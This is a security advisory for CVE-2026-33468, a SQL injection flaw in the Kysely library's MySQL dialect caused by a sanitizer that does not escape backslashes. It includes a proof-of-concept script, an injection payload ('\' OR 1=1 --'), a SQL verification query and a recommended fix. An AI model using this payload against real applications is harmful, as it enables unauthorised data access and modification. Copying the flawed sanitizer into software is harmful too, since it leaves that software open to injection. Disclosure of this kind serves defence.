CVE-2026-33468

ADVISORY - github

Summary

Summary

Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (''') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as().

Details

The root cause is in DefaultQueryCompiler.sanitizeStringLiteral():

src/query-compiler/default-query-compiler.ts:1819-1821

protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

Where LIT_WRAP_REGEX is defined as /'/g (line 121). This only doubles single quotes — it does not escape backslash characters.

The function is called from appendStringLiteral() which wraps the sanitized value in single quotes:

src/query-compiler/default-query-compiler.ts:1841-1845

protected appendStringLiteral(value: string): void {
  this.append("'")
  this.append(this.sanitizeStringLiteral(value))
  this.append("'")
}

This is reached when visitValue() encounters an immediate value node (line 525-527), which is created by ImmediateValueTransformer used in CreateIndexBuilder.where():

src/schema/create-index-builder.ts:266-278

where(...args: any[]): any {
  const transformer = new ImmediateValueTransformer()

  return new CreateIndexBuilder({
    ...this.#props,
    node: QueryNode.cloneWithWhere(
      this.#props.node,
      transformer.transformNode(
        parseValueBinaryOperationOrExpression(args),
        this.#props.queryId,
      ),
    ),
  })
}

The MysqlQueryCompiler (at src/dialect/mysql/mysql-query-compiler.ts:6-75) extends DefaultQueryCompiler but does not override sanitizeStringLiteral, inheriting the backslash-unaware implementation.

Exploitation mechanism:

In MySQL with the default NO_BACKSLASH_ESCAPES=OFF setting, the backslash character (\) acts as an escape character inside string literals. Given input \' OR 1=1 --:

  1. sanitizeStringLiteral doubles the quote: \'' OR 1=1 --
  2. appendStringLiteral wraps: '\'' OR 1=1 --'
  3. MySQL interprets \' as an escaped (literal) single quote, so the string content is ' and the second ' closes the string
  4. OR 1=1 -- is parsed as SQL

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

interface Database {
  orders: {
    id: number
    status: string
    order_nr: string
  }
}

const db = new Kysely<Database>({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      database: 'test',
      user: 'root',
      password: 'password',
    }),
  }),
})

// Simulates user-controlled input reaching CreateIndexBuilder.where()
const userInput = "\\' OR 1=1 --"

const query = db.schema
  .createIndex('orders_status_index')
  .on('orders')
  .column('status')
  .where('status', '=', userInput)

// Compile to see the generated SQL
const compiled = query.compile()
console.log(compiled.sql)
// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\'' OR 1=1 --'
//
// MySQL parses this as:
//   WHERE `status` = '\'   ← string literal containing a single quote
//   ' OR 1=1 --'          ← injected SQL (OR 1=1), comment eats trailing quote

To verify against a live MySQL instance:

-- Setup
CREATE DATABASE test;
USE test;
CREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));
INSERT INTO orders VALUES (1, 'active', '001'), (2, 'cancelled', '002');

-- The compiled query from Kysely with injected payload:
-- This returns all rows instead of filtering by status
SELECT * FROM orders WHERE status = '\'' OR 1=1 -- ';

Impact

  • SQL Injection: An attacker who controls values passed to CreateIndexBuilder.where() or CreateViewBuilder.as() can inject arbitrary SQL statements when the application uses the MySQL dialect.
  • Data Exfiltration: Injected SQL can read arbitrary data from the database using UNION-based or subquery-based techniques.
  • Data Modification/Destruction: Stacked queries or subqueries can modify or delete data.
  • Authentication Bypass: If index creation or view definitions are influenced by user input in application logic, the injection can alter query semantics to bypass access controls.

The attack complexity is rated High (AC:H) because exploitation requires an application to pass untrusted user input into DDL schema builder methods, which is an atypical but not impossible usage pattern. The CreateIndexBuilder.where() docstring (line 247) notes "Parameters are always sent as literals due to database restrictions" without warning about the security implications.

Recommended Fix

MysqlQueryCompiler should override sanitizeStringLiteral to escape backslashes before doubling quotes:

src/dialect/mysql/mysql-query-compiler.ts

const LIT_WRAP_REGEX = /'/g
const BACKSLASH_REGEX = /\\/g

export class MysqlQueryCompiler extends DefaultQueryCompiler {
  // ... existing overrides ...

  protected override sanitizeStringLiteral(value: string): string {
    // Escape backslashes first (\ → \\), then double single quotes (' → '')
    // MySQL treats backslash as an escape character by default (NO_BACKSLASH_ESCAPES=OFF)
    return value.replace(BACKSLASH_REGEX, '\\\\').replace(LIT_WRAP_REGEX, "''")
  }
}

Alternatively, the library could use parameterized queries for these DDL builders where the database supports it, avoiding string literal interpolation entirely. For databases that don't support parameters in DDL statements, the dialect-specific compiler must escape all characters that have special meaning in that dialect's string literal syntax.

EPSS Score: 0.00065 (0.203)

Common Weakness Enumeration (CWE)

ADVISORY - nist

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

ADVISORY - github

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

2.2

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.1high
PackageTypeOS NameOS VersionAffected RangesFix Versions
kyselynpm--<=0.28.130.28.14

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

The vulnerable system can be exploited without interaction from any user.

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.

NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

2.2

EXPLOITS FOUND
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.1high

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-7mcx-xcjh-v997

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY